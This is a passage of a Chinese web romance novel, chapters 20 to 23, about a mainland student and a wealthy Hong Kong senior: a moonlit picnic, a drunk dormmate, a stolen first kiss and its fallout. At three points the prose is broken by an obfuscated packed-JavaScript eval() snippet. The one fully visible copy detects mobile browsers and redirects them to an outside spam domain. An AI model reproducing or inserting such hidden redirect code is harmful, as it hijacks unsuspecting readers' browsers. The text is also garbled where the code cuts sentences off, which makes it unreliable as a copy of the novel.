余萧弋先从车里拿出防蚊喷雾递给小初,“你先喷,小心别被蚊子咬了,我们南方的蚊子确实有点毒。” “不不,你招蚊子,还是你先喷。”小初拉住他,“你别动。” 下一秒,轻薄而微凉的雾气已经飘散开来,余萧弋心里某根弦骤然收紧,差一点冲动抱住她。 小初围着他绕了一圈,自己也有些忍俊不禁。 她这样单纯而可爱,余萧弋反而不忍,只说了句,“你赶紧处理一下你自己。”就转身过去打开了后备箱,把里面的东西一件一件搬了下来。 小初一边往自己身上喷喷雾一边看他。 直至他开始搭折叠桌椅才惊疑出声:“Theo余,你这是把你们家露营的设备带这来了?” “嗯,这个很便携,设计也很符合人体工学,免得你坐公园的椅子久了不舒服。” 小初心说,我又没打算坐久。 余萧弋动作极为利落,几下就搭好了桌椅,并把餐盒摆到了桌子上,小初注意到,他不仅拿了水饺,还打包了好几盒别的菜,甚至还带了一打不同口味的果汁。 “请吧方小姐。”他笑着伸了伸手臂。 在月光和路灯的双重映照下,树下的男人长身而立,周身都流动着一种不可名状的潇洒,小初的心脏骤然一跳,一时竟有点分不清这是梦境还是现实。 隔了几秒,她才平缓了一下呼吸说道:“这……好像有点太麻烦了吧?” 余萧弋说:“本来还有个可以摆在桌面上的灯,但为了避免招来飞虫,我们就不摆了吧?”他笑笑,小叶榕的叶子在脸上摇晃着,“刚好,今晚月色很美。” 小初的睫毛剧烈动了几下,莫名有些拘谨。 生怕他再多说几句话,林佳宜今晚就真的不用给她留门了。 “你这样明目张胆,你家工人姐姐没有所怀疑?”小初坐下,不自然地拿过一瓶饮料过来,想拧,又低头看了眼上面的字,番石榴酸奶,才放下心来,自从上次不小心喝了一个口味很奇怪的气泡水之后,她每次都很谨慎,生怕被暗算。 余萧弋却下意识伸手过来拿过瓶子,“我帮你。” 小初笑:“余学长,在你眼里我是有多弱不禁风,一瓶饮料而已,必要时我甚至能拧下来某人的脑袋,你可别看走了眼,将来悔不当初。” 余萧弋把饮料递给她:“放心,自从在泳池里奋力追在后面也看不见方小姐你的影子时,我就领教过你的厉害了。我余某人很清楚自己喜欢的是什么人,想要的又是什么人。” 小初被饮料呛到,咳嗽了好几声。 他能不能不要这个风格说话啊! 余萧弋开始介绍他的水饺:“这一盒是肉和蔬菜的,具体什么蔬菜我不知道,但肯定没有香菇。这一盒是海鲜的,有鱼肉的,也有海胆的,墨鱼的,还有龙虾的。我自己感觉是海鲜口味的好吃一点,但也不知道你会不会喜欢。” 小初说:“我都可以。” 他又问:“你除了不喜欢香菇,还有其他忌口吗?” 小初想了想:“我不吃兔子,因为我小时候养过一只很可爱的兔子,只不过没养多久它就死了。我后来知道有人吃兔子的时候差点伤心死,还大哭了一场。” 余萧弋点点头:“同样道理,我也不吃狗肉。” “所以你有养狗?” “嗯,一只比熊,养了快八年了,名字叫Enzo J。”余萧弋夹了一只海鲜水饺放在小初的盘子里,坏心地笑了笑:“要说它跟你还蛮有渊源的。” 小初咬了一口水饺,嗯,确实很好吃,饺子皮又薄又韧,饺子馅鲜美多汁,他们家的工人姐姐还真有点东西。 “好吃。”小初赞美地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余萧弋神色一松,然后目光灼灼看向她:“那如果你喜欢的是我,他们也会爱屋及乌吗?” “坦白说,我不知道。”小初喝了口饮料,实在不敢想象她爸妈知道她找了个香港男孩的反应,总归,不会太开心吧。 她和余萧弋实在各个方面都不合适,就算勉强在一起,将来也会非常辛苦,不是一个人辛苦,而是两个人都很辛苦,都要为对方牺牲掉一部分原本的自己。 这样的辛苦,值得吗? 小初不敢深想。 也不愿意深想。 至少是在今天。 她生出了一种不计后果的冲动,只想像艾琳说的那样,仅凭二十岁的初心,去热烈而张扬地去爱一个让她控制不住心动的人。 至于明天,who knows? 余萧弋小声说:“如果你告诉他们,我还算有点小钱,他们会不会放心一点?” 小初不敢相信自己听到了什么,直接笑出声来:“余萧弋,你真可爱。” 余萧弋愣住。 可爱? 他长这么大就没被人夸过可爱。 他怎么就可爱了? 他明明这么高智,这么man! 余萧弋越想越气,正想把她抓进怀里好好问问她他到底哪里可爱了,却见她已经把目光投向了别处。 一对男女正倚在一辆豪车边吻得难舍难分。 他的瞳孔骤然收缩了一下。 那对男女的脸他倒是没看清,是车牌太刺目。 车主也不是别人,正是他那十几岁就在娱乐圈出道,至今也没混出什么大名堂,在公众心里唯一的记忆点就是绯闻不断,并且随着年龄增长,绯闻对象已经逐渐从女明星到女网红,再到女大学生的,二世祖小叔,余淙淙。 余萧弋立刻将自己往树影里藏了藏,并喊小初:“要不要再吃几个水饺?” 小初恍若未闻。 因为她看见,她那个死对头Wendy朱,正倚在一个满脸痞气的男人怀中任对方予取予求。 这还不是关键,关键是,她整个人看着都不太好,一副摇摇欲坠的模样。 也不知神志是否清醒。 “BB你真的非回宿舍不可吗?”男人的声音在夜色中格外引人想入非非。 Wendy朱轻哼着:“嗯。” “好吧,你知道的,我这个人从来不做勉强女孩子的事的,总要你心甘情愿,我是真的钟意你的。” Wendy似是强撑着从他怀里直起身来:“夜深了,你早些回去休息,我明天还有课……你身边那么多优秀的女仔……”她哽咽了一声,“我不努力不行的。” “好吧。”男人似是极其不舍,又在她额头上亲了一下,“我送你上去吧。” Wendy摆手,“不用,我自己可以,被拍到了不好。” “怎么这么乖又体贴,嗯?”男人捏了捏Wendy的脸,终于尽了兴,“记得保持联络。” “Ok,good night。” 司机发动引擎,车子很快消失在夜色中。 他一走,Wendy朱就头朝下跌在了台阶上。 小初站起身来。 余萧弋无法,也只能跟着站了起来。 小初朝他抿抿唇,“那女孩是我们隔壁宿舍的。” 余萧弋点点头。 小初走上前去,俯身下来,拍了拍Wendy朱的肩膀:“喂,你没事吧?” Wendy朱没有声音。 小初终于有些害怕了:“喂,你不会死在这吧?要不要帮你叫救护车?” 21. 第 21 章 方太初没有救人的经验,一时没了主意,转头问一旁余萧弋:“现在怎么办?” “我看看。”余萧弋叹口气,还是向前一步将Wendy朱的身体翻转过来放平在了台阶上,并简单检查了一下对方的颈侧脉搏以及呼吸状态。 一股冲天的酒气传来,他微不可察地蹙了蹙眉。 小初之前从未见过人昏迷的样子,只在急救知识培训课上给假人做过心肺复苏,可Wendy朱毕竟不是个假人,她学的那点皮毛知识早被吓飞到了九霄云外,事关生死,她也顾不上那么多了,抓着余萧弋手臂的手指逐渐收紧,声音都有些颤抖,“她怎么样?严重吗?你要不要先给她做人工呼吸?” 余萧弋不敢相信自己听到了什么,转眸看向她,声音渐冷:“你说让我给她人工呼吸?” 小初看了看Wendy朱额角上正在沁血的伤口,心急如焚:“哎呀,都什么时候了,还计较这些细节?你不是有急救证吗?现在不用什么时候用?” 余萧弋极淡地轻笑一声:“我想起来了,那天视频里你不顾一切扯过一个大男生领子救下的就是这个女生,是吧?” 小初愣住:“什么视频?” 余萧弋说:“这个人有这么重要吗?” 小初觉得他简直不可理喻:“人命关天她当然重要了!你要是不救,我打电话叫救护车好了,我们总不能让她在这等死吧?” 余萧弋没好气伸手将她揽进怀里,在她反应过来之前,已经对着她的唇狠狠印下去,再抬头,呼吸已变得灼热,“她只是喝醉睡着了!什么生啊死的?” 轰的一声,小初觉得有什么东西在脑子里炸了。 一阵炫目的白光之后,世界就只剩下了她的心脏还在孤立无援地跳动。 静止了好半晌,她的感官才逐一觉醒。唇齿之间番石榴的涩与甜还未消散,下一秒,委屈已经涌至喉间,这可是她的初吻,他竟然就这么轻率地拿走了? 而且还是在这么一个和浪漫没有丝毫关系的氛围里?他到底怎么想的啊!早知如此她倒更宁愿在今天日落的时候捧着他的脸直接亲上去! “余萧弋!你太过分了!” “对不起。”余萧弋半蹲下来,轻抚了抚她的头发,声音里已都是愧疚和恐慌,“真的对不起。” 他离得太近,小初避无可避,只觉得整个人都被他的气息包裹其中,一种冷冽又温柔的木质调,就跟他的人一样充满矛盾感,隐约还夹杂着一股淡淡的酒气。 酒气? 等等。 小初意识到什么,这才低下头去,不期却直接对上Wendy朱一双迷蒙又玩味的眼睛。 “两位,你们真的好吵。” “你醒了?”小初微微俯下身去,赌气假装旁边的余萧弋不存在,他不是觉得她在乎这个Wendy朱吗?那她就在乎给他看好了。 知道她普通话不好,她甚至还换成了英语,“现在感觉怎么样?” Wendy说还好,就是头疼。 小初有些没好气,“不能喝还逞强,还真是够没用的。你这是碰上的人是我,要是换成别人,你猜你会被怎么样?这么漂亮一个女孩子,躺在午夜的大街上……”小初帮她理了理微敞的领口,转头去问余萧弋,“你车上有急救箱吗?里面有没有碘伏和纱布?” 余萧弋抿抿唇,转身朝车的方向去了。 Wendy说:“谢谢你啊方太初。” 小初有些意外:“你还知道我名字?” “漂亮女生当然配得一切关注。”Wendy朱扬了扬下巴,“不然,怎么把余大少爷勾得这么样神魂颠倒?” 小初迟疑了一下,“你认识他?” Wendy挑了挑眉:“在这个学校,谁不认识他?他爷爷可是我们学校的知名校友。” 正说着话,余萧弋已经拿了急救箱过来,两人即刻噤了声。 小初把Wendy扶了起来,并帮她把伤口清洗消毒,好在伤口并不深,反而是高高肿起的包块更严重些,小初估计着明天大片的青紫淤痕就会显现出来。 处理好这一切后时间已经很晚,小初心烦意乱,已不想再和余萧弋拉扯,只丢下一句:“我先扶她回去。”就和Wendy一块上了楼。 进宿舍楼前,她终是没忍住偷偷回头看了他一眼。她果然猜得没错,月亮已经逐渐被乌云挡住,空气闷热得甚至有些凝滞,很快就要下雨了。 而在那个湿气氤氲的昏暗光线中,余萧弋身形瘦削,脸上的表情模糊不清,唯有那道始终追随着她身影的目光,将他此刻的心事,表达了个彻底。 他在苦闷,愧疚和后悔,但更多的是害怕,怕因此失去她。 小初的心不知为何猛地传来一阵剧痛,像是被无形中的箭矢刺中。她长这么大,从来没有一刻如此难过,就算离开叶子瑜的那个雨夜也未曾。 她至此才明白,原来真正的男女之爱,是这般滋味,喜悦和难过都那么深刻。 会为一个本不相干的人感到心疼。 林佳宜看见小初扶着Wendy朱一块上楼来,还以为自己见了鬼,怔了半晌才小心翼翼问道:“原来你约会的对象是她?” 小初两眼一黑,也懒得解释,只说:“佳宜姐,你看下,她额角这个伤口纱布是贴着好,还是暴露着好?我刚看了下好像伤口倒不深。” 林佳宜从小初手里接过Wendy朱,嘴里嘟囔着,“这可都是看在你面子上哦。” 小初说:“那就拜托了。”说完就匆匆回了宿舍。 走到窗前一看,余萧弋果然还站在楼下,她气不打一处来,发微信给他,「还站在那干嘛,天要下雨了。」 过了好一会儿,余萧弋才意识到震动的手机是来自她,眼底瞬间染上了薄红,回她:「对不起,我不知道你这么介意。」 小初隔着窗子一边看他一边跟他发脾气,「我当然介意!这可是我的初吻!」 余萧弋说:「也是我的初吻。」 「你别把我当小孩子哄,行吗?余大少爷!他们说,整个学校就没几个人不认识你,我对你和你的过去根本一无所知,你却偏偏挑我下手,也不知安的什么心!」 余萧弋的胸膛起伏着,「我们很早就认识了,你忘了?那个时候我只知你是方太初,根本就不知道你会来我们学校读书,我差点真的去北京找你,知道吗?」 小初抿抿唇,「总之,你就是个大坏蛋。」 「好,我是坏蛋,我明天给你赔罪好吗?你别生我气可不可以?」 小初说:「不可以。」 余萧弋在她看不见的地方露出一丝无奈而宠溺的微笑来:「明天我来接你一块去上学。」 「懒得理你。」 「我回去了啊,快下雨了,那堆吃的还没收,明天见。」 小初又担心他真的被淋到,只说:「快走快走。」 余萧弋又回:「我从未想瞒过你,我还以为你早已知道,从我告诉你我姑姑是余蓁蓁开始,可我没想到,你根本对我的家世没那么强烈的好奇心。方太初,别管别人说什么,我只恳请你相信,无论我是谁,我都只钟意你。无论你是谁,我也只钟意你。」 小初感觉自己被蛊惑到,一颗心浮浮沉沉,像是冰激凌在融化,甜蜜又黏腻的感觉流了她一身。 「我说了我需要时间好好想想。」 他回:「你慢慢想,我会一直等着你。」 小初不回了,而是打开了手机浏览器,输入绮丽余蓁蓁。 网页弹出的那一刻,她明显感觉到了她瞳孔震动的余波。 她不傻,自是早已隐约知道他家境不错,那种直觉和他穿什么衣服开什么车都无关,而是来自他身上那股令人不容忽视的自信和松弛。 她虽被父母保护得很好,却也去过很多地方见过很多人,因此大多数人,不说第一眼,最多只让她接触上三个小时,她就可以对其做出基本判断,并从未出错。 尤其异性。 很多时候,他们接近她并不是因为有多喜欢她,而是她太接近一个完美的猎物,她的美貌她的钱,她的家庭和资源。 令他们跃跃欲试的不是她,而是他们本身的欲望和野心。 不然之前叶子瑜那种不以占有为目的的欣赏怎么会那么戳她的心。 可余萧弋又不一样。 他的眼睛生的太干净了,干净到甚至让人看不到任何世俗之气,就像他也从没在意过她穿什么衣服吃什么饭,更从没有以价格来定义过任何一个东西。 但这样的教养和气质,香港中产偏上的家庭能培养出来就已经算合理了,家里有工人姐姐帮忙是他们这边生活的标配,至于余蓁蓁,她更是以为她最多只是绮丽的高管,在他发刚刚那条消息之前,她甚至都不知道她是这个蓁蓁。 取这么难写的字,都不怕小朋友上学时写到哭吗? 所以,她是真的,从头至尾,都没有预想过他的家族会如此显赫。 有这样的豪门背景,他余大少出门还坐什么经济舱,开什么平民车? 玩Cosplay吗?没事Cos一下穷人? 百科上洋洋洒洒,详细讲述了余家从他太爷爷东渡到香港后堪称传奇级别的一整本发迹史。 总而言之,作为港岛最有实力的老钱家族之一,余蓁蓁的绮丽只是他们家涉及到产业的冰山一角而已, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309767|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他关于金融、港口、能源等领域的,才是重中之重。 自然,就和她通常在娱乐新闻版面上看到的差不多,他太爷爷也没少犯全天下男人都会犯的错误,光是太太就有三房,还不算其他没名没分的女朋友。 至于余萧弋他们这一脉,则是老爷子东渡之前在上海的原配留下的骨血。 不过网上的资料可查的,也就到余蓁蓁这一辈了,再往下小辈人的资料还是被保护得挺好的,所以小初并没有在网上看见余萧弋的名字。 正如他说的,他还另有一个姑姑两个叔叔,而那个没有结婚的,小初再次瞳孔骤缩,不就是刚刚在宿舍楼下和Wendy朱激吻的那一位吗? 余淙淙Leslie,艺人,歌手,演员,今年才三十六岁,就已经进娱乐圈打拼了快二十年。但网络上关于他的作品和获奖经历都提及甚少,反而铺天盖地都是他的绯闻。 从和某位女星十几年的爱恨纠葛到女星和别人闪婚,再到他彻底放飞自我夜夜笙歌,每任新女友年龄都很小,且交往时间都超不过三个月。 “死渣男!”小初愤愤然将手机扔到桌子上。 恰好林佳宜推门进来,听了她的话面色立刻变得很凝重,“骂谁呢?谁是死渣男?你被人欺负了?” 小初回过神来,没解释,只问:“朱慧雯怎么样了?她那个伤会不会留疤?” 林佳宜说:“不会,只是擦伤点皮,就是肿得有点厉害,我已经让她先睡了。说起来也蛮不错,她醉得太厉害,反而可以减轻痛感。” 小初叹口气,“好好一个女孩子,喝那么多干什么。” 林佳宜却冷静得多:“那是你没在医院的夜间急诊科待过,要是待过,就看见什么都不会觉得奇怪了。” 这倒勾起了小初的好奇心,“佳宜姐,那你见过最离谱的是什么?” 林佳宜想了想,答道:“大概是两男一女大半夜狂敲急诊科的门吧,那俩男的根本不知道女生怀孕,导致女生大出血流产,后来一问,那女生竟然自己也不知道。三个人还都是有钱人家的小孩,后来三方家长赶来的时候,豪车差点没把我们医院停车场泊满,阵仗吓死人。” 小初呆住。 林佳宜摸摸她的头发:“睡吧,小朋友。” 小初默默端了盆去洗漱,回来还是没忍住问林佳宜:“佳宜姐,这种热衷混乱男女关系的病是会家族遗传的吗?” 林佳宜想了想,认真答道,“我还真没看过相关文献,回头帮你查查。不过,遗传不遗传不知道,家庭氛围和家庭观念是一定会影响小孩子对两性关系的认知的吧?比如一夫多妻制家庭出来的孩子,如果没有法律和道德的约束以及公众目光的审判,你觉得他们会从心里认可一夫一妻制吗?尤其男的。” 小初不再说话,而是把自己整个埋进了被子里。 后半夜下起了大雨,雷声一直没停,吵得她虚虚实实一直处于半梦半醒间,睡得极累。 第二天一早天气倒放了晴。 她感觉自己大脑一片混沌,急需运动一下找回点状态,于是出门前又把网球拍背到了身上,打算上完Lecture课后先去打会儿球再去图书馆自习。 余萧弋发消息说,他马上就到楼下。 小初咬了咬唇,突然发现自己并没有真正想好怎么面对他。 一出门,竟意外碰上Wendy朱。 这才一晚,她就又生机勃勃地出门了? 小初注意到她也背了网球拍,额角处的伤用发带束住,倒不怎么看得出来了。 “早!”Wendy主动打了招呼。 小初挑了挑眉,“怎么,今天太阳从西边出来了吗?” Wendy瞪她一眼,“你能不能大度一点?你我之间又没有深仇,我点解不能和你打招呼?” 小初:“……” Wendy又问:“你也打网球吗?” 小初说是。 Wendy说她们有个网球俱乐部好多人球打得都不错,问她要不要一块去。 鬼使神差的,小初竟答应了。 两人约好时间,并交换了联系方式。 小初不经意问了句:“咱们宿舍楼有别的出口吗?” Wendy似笑非笑看她一眼:“做乜嘢,余少在楼下?” 小初瞪她:“那你少管。” “跟我来。” 三分钟后,余萧弋的手机震动了一下。 「不好意思余学长,我已经出门了。」 几乎一夜没睡的余萧弋眸光瞬间凝住,人生再一次,感受到了被人生生拿走一截脊骨的滋味。 她对他,永远这么有办法。 22. 第 22 章 方太初和Wendy朱在长坡下分手。 一个赶地铁去学校,一个据说约了朋友去饮早茶。 小初本无意打听别人隐私,却还是问了句:“是跟昨晚那个男人吗?” Wendy朱无比好笑地看了她一眼,像是看她遥远的幼稚园时代的同学:“小姐,你今年几岁啊?还问这么无聊的问题?现代人节奏这么快,open relationship,我讲嘅嘢你明唔明?昨天那个男人,呵。”她轻蔑笑笑,“就是全港近十年最大的笑话,一个被家族抛弃的废物,我除非傻的才跟他浪费时间。” 小初呆了呆,试探地问了句:“你知道他是谁?” Wendy朱翻了个白眼:“我唔知他是谁我话都懒得跟他讲好唔好?方小姐,我好心提醒你,香港这个地方很复杂的,你不要以你大陆那一套逻辑思维来考虑另外一个世界的事,对谁都满腔热忱的,OK?包括我,朱慧雯。” 小初无语到失笑:“这你就有点自作多情了。” Wendy朱看了看手表:“我仲有事,走先嘞。” 小初叫住她,虽然她也不明白自己为什么要这么做,“我见你也没几岁,少在我面前装成熟,OK?这个时间能爬起来饮早茶的,想必不是什么年轻人吧?朱小姐,那些有钱老男人很精明的,你以为你是个Hunter,其实在人家眼里也不过是个Hello Kitty,你信他们会帮到你,不如信你自己是明年的港姐冠军。” 这下轮到Wendy愣住,“你觉得我能成为港姐冠军?” 小初不置可否地耸耸肩:“不知道,反正我看这几年的HK小姐没几个靓过你的,至于其他方面,你自己花时间提升呗。有这样的美貌,你何必跟老男人纠缠?将来自己做全港最夺目的大律师,不好吗?” Wendy朱没再说话。 小初说:“我仲有事,走先嘞。” 地铁站里都是和她一样等车赶去上课的学生,所有人都一副无精打采的模样,上早八的怨气凝结在站台上方,画面阴暗得仿佛某部鬼片。 小初找了个人少的角落站定,抬头看了看电子提示牌,上面显示下一辆车还有三分钟到达。 耳机里播放的是之前某部韩剧的OST,名字好像叫《Spring snow》,她的韩语不算太好,却也不需要中文对照就听懂了全部歌词。 韩剧总能把人与人之间某些很细碎的情感流动拍得浪漫而充满宿命感,她的心渐渐安静下来。 不远处有对小情侣聊着聊着天就旁若无人亲了起来,不是那种深吻,而是一下一下的轻啄。 男生的眉眼很温柔,哄得女朋友一边笑一边躲,却又躲不掉,每次都被他拉回来。 小初不知怎么就多看了两眼,然后一些她并不怎么想在此刻记起的画面就在脑海里浮了上来,心跳一阵凌乱。 余萧弋的唇是什么触感来着? 她仔细想了想,却怎么都记不起来。 主要昨晚他亲过来的时候她满脑子都是Wendy朱会不会就这么死掉,等她意识到发生了什么的时候,唇上的印记都快风干了。 小时候她曾被一只掠过水面的蜻蜓短暂停留在掌心过,她想,那个吻应该就是类似的感觉吧? 有点湿,有点暧昧,却又一促而逝。 耳机里的温暖男声重复着,“ Cause I''m falling slowly love with you ”。 地铁呼啸而至,小初将左耳滑下来的头发别了回去,跟在人群后面跳上了车。 课程太紧,她连为爱情感怀的时间都没有。 今天的Lecture课做报告的教授来自哥伦比亚大学,要讲P进数在数论和分析学中的应用,她得找个好点的位置仔细听听,不过,在那之前,她要先去她喜欢的那家冰室解决一下早餐。 “麻烦,一份芝士流心西多士,配……”她停了停,很快做了决定,“BB鸳鸯。” 这一刻,她突然很想尝尝曾在他唇齿之间逗留过的味道。 可话一出口她就隐隐后了悔,明明还没答应在一起,就已经对人家产生妄念了,这……好吗? “这位同学,请问还有什么需要吗?”服务员朝她勾起一个标准职业微笑。 “啊?没,没有了。” “那就麻烦往旁边让一让。”笑容瞬间消失,“下一位!” “……” 小初找了个座位坐了下来,利用等餐的空档打开了本港新闻。 Wendy朱有一点说得没错,她既已来了这,就总要大概知道一下这里每天都在发生什么,不能总是以她那一套既定思维来思考所有人和事。 大概浏览了下天气和时政,服务员就送来了她的早餐,正要关闭手机屏幕,余蓁蓁三个字却意外映入眼帘。 这是一篇人物专访。 不同于街头小报的犀利风格,采访者的专业素养很好,通篇几乎都是在讲余蓁蓁的事业,讲她人生的几个转折点,讲对她有知遇之恩的几个贵人,只有在最后才用很少笔墨以私人感情收尾,观感上舒服很多。 不像有些记者,上来就只会问女性怎么还没嫁人,对爱情是仍抱有期待还是早已心灰意冷。 是的,余蓁蓁四十二岁,未婚。 而且她根本不是小初想象的什么猫眼贵妇,照片里的她短发披肩,穿西装,戴框镜,气质极为干练。 绮丽,也只是她所负责的业务和普通公众离得最近的一个板块而已。 文章结尾有提到她年轻时曾令公众津津乐道的一段扑朔迷离的感情,两人纠缠十年,对方终究“抵不过压力”另嫁他人的传闻。 余蓁蓁大笑,说她们从来都是友情不是爱情,是公众眼睛里太多粉红泡泡。 又说过年的时候两家人还见过面,刚好家里的仔和对方的(继)女也是好朋友,大家都好开心。 主持人立刻趁机追问两家即将联姻的坊间传闻是否属实,余蓁蓁没有直接答,只说现在年轻人不想那么早有束缚,还想自由两年,尊重他们的想法喽。 总之有好消息会跟大家讲的。 主持人感叹,余小姐对侄子的疼爱实在令人动容。 余蓁蓁这次并未谦虚:“当然了,他从小就乖,功课又好,真的很难不疼他的啦。” 小初的脸色一寸寸沉了下来,豪门之间,若没有一定凭据,谁会将捕风捉影的事拿到台面上来说。 听余蓁蓁这意思,大概率明年余萧弋抵达美国后就要和家里给他选定的那个女孩订婚了。 所以根本就没有什么他妈妈怕他们太早出去会变得不辨是非这件事,纽约曼哈顿的富人区,向来是金钱与权力碰撞的地方,有什么会比这两样东西在资本家的眼里更正确? 所以,他只是想再多要两年的自由。 而她,小初笑笑,还真不知不觉成了人家放浪时光里的一桩消遣了。 她都不敢去想自己在他心里是有多好消遣,仅凭几句似是而非的话,几个伪装的深情眼,就进退失据,深陷其中了。 确实足够好笑。 口中的BB鸳鸯实在甜腻得令人作呕,她捂住嘴,冲进卫生间,直接将刚刚吃进去的东西吐了个一干二净。吐完抬起头,她几乎没被镜子里的自己吓死。 这谁啊,皮肤暗淡目光无神还顶着两个大大的黑眼圈?看着那么颓丧彷徨和不安? 她方太初什么时候竟沦落到这种境地了? 她爸妈好歹是过了四十岁还魅力四射的男神女神,她竟然二十岁就变成任人耍弄的小丑了?简直败坏门风! 想到这,小初也不难过了,而是利落拿出了书包里的简易化妆包。她爸说得一点错没有,漂亮女生朴素过了头,果然是会被同学欺负死的。 还不如高不可攀地活着,避免一不小心落入觊觎者的圈套,被人当成便利贴,想贴在哪贴在哪,想扔掉就毫不留情地扔掉。 耳机里的男人仍在无病呻吟重复那一句。 她听得心烦,点开播放器,毫不犹豫将那首歌从收藏夹中删除了。 赶到报告厅的时候,教授还没来,大屏幕的PPT上是此次讲座的宣传海报。 一路走过去,小初看到同院系的不少熟悉面孔,本硕博都有,唯独没有看见余萧弋。 同小组的Cathy朝她挥手,并瞪大眼睛,“God,方太初,你今天状态怎么这么好?谈恋爱了?” 小初在她旁边坐下,“是手里股票涨了才对,男人哪有这么大功效?” Cathy一愣,继而非常认可点点头:“真系。” 小初从耳朵上取下蓝牙耳机放进盒子里,又拿出平板和纸笔,一副心无旁骛只想进步的模样,实际上失眠后遗症已经让她的大脑极度疲惫,整个人都轻飘飘的,她很怀疑这样的自己一会儿到底能听进去多少。 男人果然影响了她解题的速度。 Cathy感慨,“这么多人,估计有不少都不是我们学院的。” 小初机械点点头。 Cathy又碰了碰她的胳膊,“快看快看,余学长好帅啊。” 小初感觉自己的心室动脉忽地被谁钳紧,周身的皮肤逐渐泛起一种濒死的青灰。 她想她此刻的目光一定是讥诮而冰冷的,唯一遗憾的是相隔太远,不能让他感受到她这一刻的杀心。 余萧弋正陪同教授从报告厅的侧门走进来,两人一边走一边热络地聊着天,仿若相识已久。 到现在小初已经对什么都不意外了,别说教授是他的旧相识,哪怕他们余家就是教授的资助人,或者干脆,更直接点,余蓁蓁爱而不得的那个女人嫁的就是教授,而他的继女就是余萧弋的联姻对象……她都再没有什么接不住。 他的错,不在于他是谁,而在于他明知他是谁,还来消遣她。 报告厅里掌声震天。 余萧弋朝教授点点头,率先走上讲台,帮忙调试了设备,又做了个简短的开场白,才把教授请到台上来。 Cathy激动万分,“余学长英文发音好好听。” 小初淡淡附和,“确实。” 一双税利的眼睛却始终盯在他身上。不知是不是为了配合她今天的歌单,他今天穿得特别韩系,明明都是基础的色调,却自带一种说不出的氛围感。 教授的演讲开始。 所有人都开始拍照,小初也不例外。屏幕上他的消息恰好跳出来。 「我看见你了。」他说。 小初微微偏了偏头,两人视线相碰。 他弯起眼睛。 小初也学他样子弯起眼睛。 这世上又不是只有他笑起来好看。 「一会儿结束先别走,我有话跟你说。」 小初挑了挑眉,回他:「好啊。」 报告实在枯燥冗长且复杂难懂,中场休息时,已有不少人离开。 小初趴桌子上睡了一会儿,再抬起头,连Cat ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一抬头,就撞进了余萧弋一双喜怒不辨的眸子里。 “方太初你跟我出来一下。” 他抓住她的手。 小初却说,“下半场演讲马上开始了。” “回头看视频回放,不会的,我讲给你。” 小初冷哼一声。 还真是被他装到了。 好多人都在朝他们这边张望。 余萧弋却没有任何放手的意思。 梁培风问:“需要帮忙吗方太初?” “不用。”小初犹豫了一下还是起了身,并故意说道,“这是我师出同门的师哥,找我有点事,我桌面上东西帮我看一下啊,我马上就回来。” 梁培风说好。 余萧弋拉着她来到报告厅侧面的走廊里。 半晌,两人都没说话。 小初不看他的脸,只把视线轻垂在他休闲衬衣的第二粒扣子上。 最后还是余萧弋沉不住气,开口道:“早晨为什么没等我?” 小初有些奇怪:“我有答应等你吗?” 余萧弋呼吸一滞,但语气到底软了下来,“你还在生我气?” 小初抬头朝他笑笑,笑得明媚无双,像是两人之间什么绯色的故事都未曾发生过,“没,岂敢。” 余萧弋顿住,眼底绝望逐渐蔓延开来。 小初看了看表:“还有事吗,余学长?如果没事我就进去继续听讲座了,我东西还在里面呢,一会儿还要和朋友去打网球。” 余萧弋问:“哪个朋友?” 小初一派天真,“就刚才你见到的那个男生,他是网球社的,球打得特别好,刚好叫他带带我。哦对了,忘了跟你说他也北京的,说好的打完球一块去尖沙咀吃京菜。” 余萧弋神色一暗,声音渐低,“你都没问过我,怎么知道我网球打得不好。” 小初却懒得跟他兜圈子了,直接坏心地抬起手抚了抚他的脸,似笑非笑,“哦,你网球打得也很好啊?” 余萧弋瞬间僵住,她只一个简单动作就轻而易举点燃了他的呼吸。 “嗯,只有这一项是我从小真花了时间练习的。” “可惜。”小初静了一会儿,忽然踮起脚尖贴向他的耳朵,用很轻很轻,只有她和他才能听见的声音说道:“我不喜欢你呀。” 她的呼吸若有似无喷薄在耳朵上的感觉太撩拨,余萧弋几乎将手心掐出血才抑制住想把她紧紧揉进怀里的冲动,可还没过一秒,心脏上的剧痛就已传来,他难以置信地低下头,终于看清了她眼中完全不加掩饰的恨。 “你说什么?”他身形一晃,险些站立不稳。 “我说,我不喜欢你。”小初退后一步,面色已平静,“因为不喜欢,所以对你昨天亲我的行为很反感,因为很反感,所以整个人到现在都很难受,今天早晨还吐了一场,白白浪费了一顿早餐。哦对了,你之前推荐的BB鸳鸯也很难喝,阿华田混好立克,真的很腻很恶心,我这个人只喜欢纯粹一点的东西,不喜欢混沌不清,左右逢源的,你懂了吗?” 余萧弋没说话,只是安静地站在原地,眼尾红得吓人。 小初不敢多看,转过身去。 生怕再多看一秒,她的意志力就会崩塌。 “方太初。” 他突然哑声叫她的名字。 小初不答,只快步走。 最后只能他从背后追了上来,将一个小盒子塞到了她手里,“昨晚看见你耳钉丢了一只,这个送给你算是赔偿也算是赔罪,对不起。” 说完这句话,他就一个闪身,消失在了她的视线里。 “喂,谁要你的东西啊!”小初在他背后一边流泪一边喊。 可他已经不见了。 23. 第 23 章 小初打开首饰盒,一对月亮形状的耳钉顿时映入眼帘。中间一颗主钻,外面一圈用小小的碎钻镶嵌成月牙的形状。 很精致,很璀璨。 盒子上盖上贴着一张小小的便签,写着他想和她说的话,特地用的简体字。 他的字很漂亮,规矩中透着潇洒。 